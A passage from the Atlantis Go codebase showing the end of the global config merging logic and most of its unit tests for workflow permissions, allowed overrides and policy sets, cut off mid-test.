ApplyRequirementsKey, ImportRequirementsKey, WorkflowKey, AllowedOverridesKey, AllowCustomWorkflowsKey, DeleteSourceBranchOnMergeKey, RepoLockingKey, RepoLocksKey, PolicyCheckKey, CustomPolicyCheckKey, SilencePRCommentsKey} {\n\t\tfor i, repo := range g.Repos {\n\t\t\tif repo.IDMatches(repoID) {\n\t\t\t\tswitch key {\n\t\t\t\tcase PlanRequirementsKey:\n\t\t\t\t\tif repo.PlanRequirements != nil {\n\t\t\t\t\t\ttoLog[PlanRequirementsKey] = traceF(i, repo.IDString(), PlanRequirementsKey, repo.PlanRequirements)\n\t\t\t\t\t\tplanReqs = repo.PlanRequirements\n\t\t\t\t\t}\n\t\t\t\tcase ApplyRequirementsKey:\n\t\t\t\t\tif repo.ApplyRequirements != nil {\n\t\t\t\t\t\ttoLog[ApplyRequirementsKey] = traceF(i, repo.IDString(), ApplyRequirementsKey, repo.ApplyRequirements)\n\t\t\t\t\t\tapplyReqs = repo.ApplyRequirements\n\t\t\t\t\t}\n\t\t\t\tcase ImportRequirementsKey:\n\t\t\t\t\tif repo.ImportRequirements != nil {\n\t\t\t\t\t\ttoLog[ImportRequirementsKey] = traceF(i, repo.IDString(), ImportRequirementsKey, repo.ImportRequirements)\n\t\t\t\t\t\timportReqs = repo.ImportRequirements\n\t\t\t\t\t}\n\t\t\t\tcase WorkflowKey:\n\t\t\t\t\tif repo.Workflow != nil {\n\t\t\t\t\t\ttoLog[WorkflowKey] = traceF(i, repo.IDString(), WorkflowKey, repo.Workflow.Name)\n\t\t\t\t\t\tworkflow = *repo.Workflow\n\t\t\t\t\t}\n\t\t\t\tcase AllowedOverridesKey:\n\t\t\t\t\tif repo.AllowedOverrides != nil {\n\t\t\t\t\t\ttoLog[AllowedOverridesKey] = traceF(i, repo.IDString(), AllowedOverridesKey, repo.AllowedOverrides)\n\t\t\t\t\t\tallowedOverrides = repo.AllowedOverrides\n\t\t\t\t\t}\n\t\t\t\tcase AllowCustomWorkflowsKey:\n\t\t\t\t\tif repo.AllowCustomWorkflows != nil {\n\t\t\t\t\t\ttoLog[AllowCustomWorkflowsKey] = traceF(i, repo.IDString(), AllowCustomWorkflowsKey, *repo.AllowCustomWorkflows)\n\t\t\t\t\t\tallowCustomWorkflows = *repo.AllowCustomWorkflows\n\t\t\t\t\t}\n\t\t\t\tcase DeleteSourceBranchOnMergeKey:\n\t\t\t\t\tif repo.DeleteSourceBranchOnMerge != nil {\n\t\t\t\t\t\ttoLog[DeleteSourceBranchOnMergeKey] = traceF(i, repo.IDString(), DeleteSourceBranchOnMergeKey, *repo.DeleteSourceBranchOnMerge)\n\t\t\t\t\t\tdeleteSourceBranchOnMerge = *repo.DeleteSourceBranchOnMerge\n\t\t\t\t\t}\n\t\t\t\tcase RepoLockingKey:\n\t\t\t\t\tif repo.RepoLocking != nil {\n\t\t\t\t\t\ttoLog[RepoLockingKey] = traceF(i, repo.IDString(), RepoLockingKey, *repo.RepoLocking)\n\t\t\t\t\t\trepoLocking = *repo.RepoLocking\n\t\t\t\t\t}\n\t\t\t\tcase RepoLocksKey:\n\t\t\t\t\tif repo.RepoLocks != nil {\n\t\t\t\t\t\ttoLog[RepoLocksKey] = traceF(i, repo.IDString(), RepoLocksKey, repo.RepoLocks.Mode)\n\t\t\t\t\t\trepoLocks = *repo.RepoLocks\n\t\t\t\t\t}\n\t\t\t\tcase PolicyCheckKey:\n\t\t\t\t\tif repo.PolicyCheck != nil {\n\t\t\t\t\t\ttoLog[PolicyCheckKey] = traceF(i, repo.IDString(), PolicyCheckKey, *repo.PolicyCheck)\n\t\t\t\t\t\tpolicyCheck = *repo.PolicyCheck\n\t\t\t\t\t}\n\t\t\t\tcase CustomPolicyCheckKey:\n\t\t\t\t\tif repo.CustomPolicyCheck != nil {\n\t\t\t\t\t\ttoLog[CustomPolicyCheckKey] = traceF(i, repo.IDString(), CustomPolicyCheckKey, *repo.CustomPolicyCheck)\n\t\t\t\t\t\tcustomPolicyCheck = *repo.CustomPolicyCheck\n\t\t\t\t\t}\n\t\t\t\tcase AutoDiscoverKey:\n\t\t\t\t\tif repo.AutoDiscover != nil {\n\t\t\t\t\t\ttoLog[AutoDiscoverKey] = traceF(i, repo.IDString(), AutoDiscoverKey, repo.AutoDiscover.Mode)\n\t\t\t\t\t\tautoDiscover = *repo.AutoDiscover\n\t\t\t\t\t}\n\t\t\t\tcase SilencePRCommentsKey:\n\t\t\t\t\tif repo.SilencePRComments != nil {\n\t\t\t\t\t\ttoLog[SilencePRCommentsKey] = traceF(i, repo.IDString(), SilencePRCommentsKey, repo.SilencePRComments)\n\t\t\t\t\t\tsilencePRComments = repo.SilencePRComments\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tfor _, l := range toLog {\n\t\tlog.Debug(l)\n\t}\n\t// repoLocking is deprecated and enabled by default, disable repo locks if it is explicitly disabled\n\tif !repoLocking {\n\t\trepoLocks.Mode = RepoLocksDisabledMode\n\t}\n\treturn\n}\n\n// MatchingRepo returns an instance of Repo which matches a given repoID.\n// If multiple repos match, return the last one for consistency with getMatchingCfg.\nfunc (g GlobalCfg) MatchingRepo(repoID string) *Repo {\n\tfor i := len(g.Repos) - 1; i >= 0; i-- {\n\t\trepo := g.Repos[i]\n\t\tif repo.IDMatches(repoID) {\n\t\t\treturn &repo\n\t\t}\n\t}\n\treturn nil\n}\n\n// RepoConfigFile returns a repository specific file path\n// If not defined, return atlantis.yaml as default\nfunc (g GlobalCfg) RepoConfigFile(repoID string) string {\n\trepo := g.MatchingRepo(repoID)\n\tif repo != nil && repo.RepoConfigFile != \"\" {\n\t\treturn repo.RepoConfigFile\n\t}\n\treturn DefaultAtlantisFile\n}\n"
  },
  {
    "path": "server/core/config/valid/global_cfg_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage valid_test\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"regexp\"\n\t\"testing\"\n\n\t\"github.com/hashicorp/go-version\"\n\t\"github.com/mohae/deepcopy\"\n\t\"github.com/runatlantis/atlantis/server/core/config\"\n\t\"github.com/runatlantis/atlantis/server/core/config/raw\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestNewGlobalCfg(t *testing.T) {\n\texpDefaultWorkflow := valid.Workflow{\n\t\tName: \"default\",\n\t\tApply: valid.Stage{\n\t\t\tSteps: []valid.Step{\n\t\t\t\t{\n\t\t\t\t\tStepName: \"apply\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tPolicyCheck: valid.Stage{\n\t\t\tSteps: []valid.Step{\n\t\t\t\t{\n\t\t\t\t\tStepName: \"show\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tStepName: \"policy_check\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tPlan: valid.Stage{\n\t\t\tSteps: []valid.Step{\n\t\t\t\t{\n\t\t\t\t\tStepName: \"init\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tStepName: \"plan\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tImport: valid.Stage{\n\t\t\tSteps: []valid.Step{\n\t\t\t\t{\n\t\t\t\t\tStepName: \"init\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tStepName: \"import\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tStateRm: valid.Stage{\n\t\t\tSteps: []valid.Step{\n\t\t\t\t{\n\t\t\t\t\tStepName: \"init\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tStepName: \"state_rm\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tbaseCfg := valid.GlobalCfg{\n\t\tRepos: []valid.Repo{\n\t\t\t{\n\t\t\t\tIDRegex:                   regexp.MustCompile(\".*\"),\n\t\t\t\tBranchRegex:               regexp.MustCompile(\".*\"),\n\t\t\t\tPlanRequirements:          []string{},\n\t\t\t\tApplyRequirements:         []string{},\n\t\t\t\tImportRequirements:        []string{},\n\t\t\t\tWorkflow:                  &expDefaultWorkflow,\n\t\t\t\tAllowedWorkflows:          []string{},\n\t\t\t\tAllowedOverrides:          []string{},\n\t\t\t\tAllowCustomWorkflows:      Bool(false),\n\t\t\t\tDeleteSourceBranchOnMerge: Bool(false),\n\t\t\t\tRepoLocks:                 &valid.DefaultRepoLocks,\n\t\t\t\tPolicyCheck:               Bool(false),\n\t\t\t\tCustomPolicyCheck:         Bool(false),\n\t\t\t\tAutoDiscover:              raw.DefaultAutoDiscover(),\n\t\t\t},\n\t\t},\n\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\"default\": expDefaultWorkflow,\n\t\t},\n\t\tTeamAuthz: valid.TeamAuthz{\n\t\t\tArgs: make([]string, 0),\n\t\t},\n\t}\n\n\tcases := []struct {\n\t\tallowAllRepoSettings bool\n\t\tpolicyCheckEnabled   bool\n\t}{\n\t\t{\n\t\t\tallowAllRepoSettings: false,\n\t\t\tpolicyCheckEnabled:   false,\n\t\t},\n\t\t{\n\t\t\tallowAllRepoSettings: true,\n\t\t\tpolicyCheckEnabled:   false,\n\t\t},\n\t\t{\n\t\t\tallowAllRepoSettings: true,\n\t\t\tpolicyCheckEnabled:   true,\n\t\t},\n\t\t{\n\t\t\tallowAllRepoSettings: false,\n\t\t\tpolicyCheckEnabled:   true,\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tcaseName := fmt.Sprintf(\"allow_repo: %t, policy_check: %t\", c.allowAllRepoSettings, c.policyCheckEnabled)\n\t\tt.Run(caseName, func(t *testing.T) {\n\t\t\tglobalCfgArgs := valid.GlobalCfgArgs{\n\t\t\t\tAllowAllRepoSettings: c.allowAllRepoSettings,\n\t\t\t\tPolicyCheckEnabled:   c.policyCheckEnabled,\n\t\t\t}\n\t\t\tact := valid.NewGlobalCfgFromArgs(globalCfgArgs)\n\n\t\t\t// For each test, we change our expected cfg based on the parameters.\n\t\t\texp := deepcopy.Copy(baseCfg).(valid.GlobalCfg)\n\t\t\texp.Repos[0].IDRegex = regexp.MustCompile(\".*\") // deepcopy doesn't copy the regex.\n\t\t\texp.Repos[0].BranchRegex = regexp.MustCompile(\".*\")\n\n\t\t\tif c.allowAllRepoSettings {\n\t\t\t\texp.Repos[0].AllowCustomWorkflows = Bool(true)\n\t\t\t\texp.Repos[0].AllowedOverrides = []string{\"plan_requirements\", \"apply_requirements\", \"import_requirements\", \"workflow\", \"delete_source_branch_on_merge\", \"repo_locking\", \"repo_locks\", \"policy_check\", \"silence_pr_comments\"}\n\t\t\t}\n\t\t\tif c.policyCheckEnabled {\n\t\t\t\texp.Repos[0].ApplyRequirements = append(exp.Repos[0].ApplyRequirements, \"policies_passed\")\n\t\t\t\texp.Repos[0].PolicyCheck = Bool(true)\n\t\t\t}\n\n\t\t\tEquals(t, exp, act)\n\n\t\t\t// Have to hand-compare regexes because Equals doesn't do it.\n\t\t\tfor i, actRepo := range act.Repos {\n\t\t\t\texpRepo := exp.Repos[i]\n\t\t\t\tif expRepo.IDRegex != nil {\n\t\t\t\t\tAssert(t, expRepo.IDRegex.String() == actRepo.IDRegex.String(),\n\t\t\t\t\t\t\"%q != %q for repos[%d]\", expRepo.IDRegex.String(), actRepo.IDRegex.String(), i)\n\t\t\t\t}\n\t\t\t\tif expRepo.BranchRegex != nil {\n\t\t\t\t\tAssert(t, expRepo.BranchRegex.String() == actRepo.BranchRegex.String(),\n\t\t\t\t\t\t\"%q != %q for repos[%d]\", expRepo.BranchRegex.String(), actRepo.BranchRegex.String(), i)\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestGlobalCfg_ValidateRepoCfg(t *testing.T) {\n\tcases := map[string]struct {\n\t\tgCfg   valid.GlobalCfg\n\t\trCfg   valid.RepoCfg\n\t\trepoID string\n\t\texpErr string\n\t}{\n\t\t\"repo uses workflow that is defined server side but not allowed (with custom workflows)\": {\n\t\t\tgCfg: valid.GlobalCfg{\n\t\t\t\tRepos: []valid.Repo{\n\t\t\t\t\tvalid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{\n\t\t\t\t\t\tAllowAllRepoSettings: true,\n\t\t\t\t\t}).Repos[0],\n\t\t\t\t\t{\n\t\t\t\t\t\tID:                   \"github.com/owner/repo\",\n\t\t\t\t\t\tAllowCustomWorkflows: Bool(true),\n\t\t\t\t\t\tAllowedOverrides:     []string{\"workflow\"},\n\t\t\t\t\t\tAllowedWorkflows:     []string{\"allowed\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"allowed\":   {},\n\t\t\t\t\t\"forbidden\": {},\n\t\t\t\t},\n\t\t\t},\n\t\t\trCfg: valid.RepoCfg{\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:          \".\",\n\t\t\t\t\t\tWorkspace:    \"default\",\n\t\t\t\t\t\tWorkflowName: String(\"forbidden\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\texpErr: \"workflow 'forbidden' is not allowed for this repo\",\n\t\t},\n\t\t\"repo uses workflow that is defined server side but not allowed (without custom workflows)\": {\n\t\t\tgCfg: valid.GlobalCfg{\n\t\t\t\tRepos: []valid.Repo{\n\t\t\t\t\tvalid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{\n\t\t\t\t\t\tAllowAllRepoSettings: true,\n\t\t\t\t\t}).Repos[0],\n\t\t\t\t\t{\n\t\t\t\t\t\tID:                   \"github.com/owner/repo\",\n\t\t\t\t\t\tAllowCustomWorkflows: Bool(false),\n\t\t\t\t\t\tAllowedOverrides:     []string{\"workflow\"},\n\t\t\t\t\t\tAllowedWorkflows:     []string{\"allowed\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"allowed\":   {},\n\t\t\t\t\t\"forbidden\": {},\n\t\t\t\t},\n\t\t\t},\n\t\t\trCfg: valid.RepoCfg{\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:          \".\",\n\t\t\t\t\t\tWorkspace:    \"default\",\n\t\t\t\t\t\tWorkflowName: String(\"forbidden\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\texpErr: \"workflow 'forbidden' is not allowed for this repo\",\n\t\t},\n\t\t\"repo uses workflow that is defined in both places with same name (without custom workflows)\": {\n\t\t\tgCfg: valid.GlobalCfg{\n\t\t\t\tRepos: []valid.Repo{\n\t\t\t\t\tvalid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{\n\t\t\t\t\t\tAllowAllRepoSettings: true,\n\t\t\t\t\t}).Repos[0],\n\t\t\t\t\t{\n\t\t\t\t\t\tID:                   \"github.com/owner/repo\",\n\t\t\t\t\t\tAllowCustomWorkflows: Bool(false),\n\t\t\t\t\t\tAllowedOverrides:     []string{\"workflow\"},\n\t\t\t\t\t\tAllowedWorkflows:     []string{\"duplicated\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"duplicated\": {},\n\t\t\t\t},\n\t\t\t},\n\t\t\trCfg: valid.RepoCfg{\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:          \".\",\n\t\t\t\t\t\tWorkspace:    \"default\",\n\t\t\t\t\t\tWorkflowName: String(\"duplicated\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"duplicated\": {},\n\t\t\t\t},\n\t\t\t},\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\texpErr: \"repo config not allowed to define custom workflows: server-side config needs 'allow_custom_workflows: true'\",\n\t\t},\n\t\t\"repo uses workflow that is defined repo side, but not allowed (with custom workflows)\": {\n\t\t\tgCfg: valid.GlobalCfg{\n\t\t\t\tRepos: []valid.Repo{\n\t\t\t\t\tvalid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{\n\t\t\t\t\t\tAllowAllRepoSettings: true,\n\t\t\t\t\t}).Repos[0],\n\t\t\t\t\t{\n\t\t\t\t\t\tID:                   \"github.com/owner/repo\",\n\t\t\t\t\t\tAllowCustomWorkflows: Bool(true),\n\t\t\t\t\t\tAllowedOverrides:     []string{\"workflow\"},\n\t\t\t\t\t\tAllowedWorkflows:     []string{\"none\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"forbidden\": {},\n\t\t\t\t},\n\t\t\t},\n\t\t\trCfg: valid.RepoCfg{\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:          \".\",\n\t\t\t\t\t\tWorkspace:    \"default\",\n\t\t\t\t\t\tWorkflowName: String(\"repodefined\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"repodefined\": {},\n\t\t\t\t},\n\t\t\t},\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\texpErr: \"\",\n\t\t},\n\t\t\"repo uses workflow that is defined server side and allowed (without custom workflows)\": {\n\t\t\tgCfg: valid.GlobalCfg{\n\t\t\t\tRepos: []valid.Repo{\n\t\t\t\t\tvalid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{\n\t\t\t\t\t\tAllowAllRepoSettings: true,\n\t\t\t\t\t}).Repos[0],\n\t\t\t\t\t{\n\t\t\t\t\t\tID:                   \"github.com/owner/repo\",\n\t\t\t\t\t\tAllowCustomWorkflows: Bool(false),\n\t\t\t\t\t\tAllowedOverrides:     []string{\"workflow\"},\n\t\t\t\t\t\tAllowedWorkflows:     []string{\"allowed\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"allowed\":   {},\n\t\t\t\t\t\"forbidden\": {},\n\t\t\t\t},\n\t\t\t},\n\t\t\trCfg: valid.RepoCfg{\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:          \".\",\n\t\t\t\t\t\tWorkspace:    \"default\",\n\t\t\t\t\t\tWorkflowName: String(\"allowed\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\texpErr: \"\",\n\t\t},\n\t\t\"repo uses workflow that is defined server side and allowed (with custom workflows)\": {\n\t\t\tgCfg: valid.GlobalCfg{\n\t\t\t\tRepos: []valid.Repo{\n\t\t\t\t\tvalid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{\n\t\t\t\t\t\tAllowAllRepoSettings: true,\n\t\t\t\t\t}).Repos[0],\n\t\t\t\t\t{\n\t\t\t\t\t\tID:                   \"github.com/owner/repo\",\n\t\t\t\t\t\tAllowCustomWorkflows: Bool(true),\n\t\t\t\t\t\tAllowedOverrides:     []string{\"workflow\"},\n\t\t\t\t\t\tAllowedWorkflows:     []string{\"allowed\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"allowed\":   {},\n\t\t\t\t\t\"forbidden\": {},\n\t\t\t\t},\n\t\t\t},\n\t\t\trCfg: valid.RepoCfg{\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:          \".\",\n\t\t\t\t\t\tWorkspace:    \"default\",\n\t\t\t\t\t\tWorkflowName: String(\"allowed\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\texpErr: \"\",\n\t\t},\n\t\t\"workflow not allowed\": {\n\t\t\tgCfg: valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{\n\t\t\t\tAllowAllRepoSettings: false,\n\t\t\t}),\n\t\t\trCfg: valid.RepoCfg{\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tWorkflowName: String(\"invalid\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\texpErr: \"repo config not allowed to set 'workflow' key: server-side config needs 'allowed_overrides: [workflow]'\",\n\t\t},\n\t\t\"custom workflows not allowed\": {\n\t\t\tgCfg: valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{\n\t\t\t\tAllowAllRepoSettings: false,\n\t\t\t}),\n\t\t\trCfg: valid.RepoCfg{\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"custom\": {},\n\t\t\t\t},\n\t\t\t},\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\texpErr: \"repo config not allowed to define custom workflows: server-side config needs 'allow_custom_workflows: true'\",\n\t\t},\n\t\t\"custom workflows allowed\": {\n\t\t\tgCfg: valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{\n\t\t\t\tAllowAllRepoSettings: true,\n\t\t\t}),\n\t\t\trCfg: valid.RepoCfg{\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"custom\": {},\n\t\t\t\t},\n\t\t\t},\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\texpErr: \"\",\n\t\t},\n\t\t\"repo uses custom workflow defined on repo\": {\n\t\t\tgCfg: valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{\n\t\t\t\tAllowAllRepoSettings: true,\n\t\t\t}),\n\t\t\trCfg: valid.RepoCfg{\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:          \".\",\n\t\t\t\t\t\tWorkspace:    \"default\",\n\t\t\t\t\t\tWorkflowName: String(\"repodefined\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"repodefined\": {},\n\t\t\t\t},\n\t\t\t},\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\texpErr: \"\",\n\t\t},\n\t\t\"custom workflows allowed for this repo only\": {\n\t\t\tgCfg: valid.GlobalCfg{\n\t\t\t\tRepos: []valid.Repo{\n\t\t\t\t\tvalid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{\n\t\t\t\t\t\tAllowAllRepoSettings: false,\n\t\t\t\t\t}).Repos[0],\n\t\t\t\t\t{\n\t\t\t\t\t\tID:                   \"github.com/owner/repo\",\n\t\t\t\t\t\tAllowCustomWorkflows: Bool(true),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\trCfg: valid.RepoCfg{\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"custom\": {},\n\t\t\t\t},\n\t\t\t},\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\texpErr: \"\",\n\t\t},\n\t\t\"repo uses global workflow\": {\n\t\t\tgCfg: valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{\n\t\t\t\tAllowAllRepoSettings: true,\n\t\t\t}),\n\t\t\trCfg: valid.RepoCfg{\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:          \".\",\n\t\t\t\t\t\tWorkspace:    \"default\",\n\t\t\t\t\t\tWorkflowName: String(\"default\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\texpErr: \"\",\n\t\t},\n\t\t\"plan_reqs not allowed\": {\n\t\t\tgCfg: valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{\n\t\t\t\tAllowAllRepoSettings: false,\n\t\t\t}),\n\t\t\trCfg: valid.RepoCfg{\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:              \".\",\n\t\t\t\t\t\tWorkspace:        \"default\",\n\t\t\t\t\t\tPlanRequirements: []string{\"\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\texpErr: \"repo config not allowed to set 'plan_requirements' key: server-side config needs 'allowed_overrides: [plan_requirements]'\",\n\t\t},\n\t\t\"apply_reqs not allowed\": {\n\t\t\tgCfg: valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{\n\t\t\t\tAllowAllRepoSettings: false,\n\t\t\t}),\n\t\t\trCfg: valid.RepoCfg{\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:               \".\",\n\t\t\t\t\t\tWorkspace:         \"default\",\n\t\t\t\t\t\tApplyRequirements: []string{\"\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\texpErr: \"repo config not allowed to set 'apply_requirements' key: server-side config needs 'allowed_overrides: [apply_requirements]'\",\n\t\t},\n\t\t\"import_reqs not allowed\": {\n\t\t\tgCfg: valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{\n\t\t\t\tAllowAllRepoSettings: false,\n\t\t\t}),\n\t\t\trCfg: valid.RepoCfg{\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:                \".\",\n\t\t\t\t\t\tWorkspace:          \"default\",\n\t\t\t\t\t\tImportRequirements: []string{\"\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\texpErr: \"repo config not allowed to set 'import_requirements' key: server-side config needs 'allowed_overrides: [import_requirements]'\",\n\t\t},\n\t\t\"repo workflow doesn't exist\": {\n\t\t\tgCfg: valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{\n\t\t\t\tAllowAllRepoSettings: true,\n\t\t\t}),\n\t\t\trCfg: valid.RepoCfg{\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:          \".\",\n\t\t\t\t\t\tWorkspace:    \"default\",\n\t\t\t\t\t\tWorkflowName: String(\"doesntexist\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\texpErr: \"workflow \\\"doesntexist\\\" is not defined anywhere\",\n\t\t},\n\t}\n\tfor name, c := range cases {\n\t\tt.Run(name, func(t *testing.T) {\n\t\t\tactErr := c.gCfg.ValidateRepoCfg(c.rCfg, c.repoID)\n\t\t\tif c.expErr == \"\" {\n\t\t\t\tOk(t, actErr)\n\t\t\t} else {\n\t\t\t\tErrEquals(t, c.expErr, actErr)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestGlobalCfg_WithPolicySets(t *testing.T) {\n\tversion, _ := version.NewVersion(\"v1.0.0\")\n\tcases := map[string]struct {\n\t\tgCfg   string\n\t\tproj   valid.Project\n\t\trepoID string\n\t\texp    valid.MergedProjectCfg\n\t}{\n\t\t\"policies are added to MergedProjectCfg when present\": {\n\t\t\tgCfg: `\nrepos:\n- id: /.*/\npolicies:\n  policy_sets:\n    - name: good-policy\n      source: local\n      path: rel/path/to/source\n`,\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\tproj: valid.Project{\n\t\t\t\tDir:          \".\",\n\t\t\t\tWorkspace:    \"default\",\n\t\t\t\tWorkflowName: String(\"custom\"),\n\t\t\t},\n\t\t\texp: valid.MergedProjectCfg{\n\t\t\t\tPlanRequirements:   []string{},\n\t\t\t\tApplyRequirements:  []string{},\n\t\t\t\tImportRequirements: []string{},\n\t\t\t\tWorkflow: valid.Workflow{\n\t\t\t\t\tName:        \"default\",\n\t\t\t\t\tApply:       valid.DefaultApplyStage,\n\t\t\t\t\tPlan:        valid.DefaultPlanStage,\n\t\t\t\t\tPolicyCheck: valid.DefaultPolicyCheckStage,\n\t\t\t\t\tImport:      valid.DefaultImportStage,\n\t\t\t\t\tStateRm:     valid.DefaultStateRmStage,\n\t\t\t\t},\n\t\t\t\tPolicySets: valid.PolicySets{\n\t\t\t\t\tVersion:      nil,\n\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\tPolicySets: []valid.PolicySet{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tName:         \"good-policy\",\n\t\t\t\t\t\t\tPath:         \"rel/path/to/source\",\n\t\t\t\t\t\t\tSource:       \"local\",\n\t\t\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tRepoRelDir:        \".\",\n\t\t\t\tWorkspace:         \"default\",\n\t\t\t\tName:              \"\",\n\t\t\t\tAutoplanEnabled:   false,\n\t\t\t\tRepoLocks:         valid.DefaultRepoLocks,\n\t\t\t\tCustomPolicyCheck: false,\n\t\t\t},\n\t\t},\n\t\t\"policies set correct version if specified\": {\n\t\t\tgCfg: `\nrepos:\n- id: /.*/\npolicies:\n  conftest_version: v1.0.0\n  policy_sets:\n    - name: good-policy\n      source: local\n      path: rel/path/to/source\n`,\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\tproj: valid.Project{\n\t\t\t\tDir:          \".\",\n\t\t\t\tWorkspace:    \"default\",\n\t\t\t\tWorkflowName: String(\"custom\"),\n\t\t\t},\n\t\t\texp: 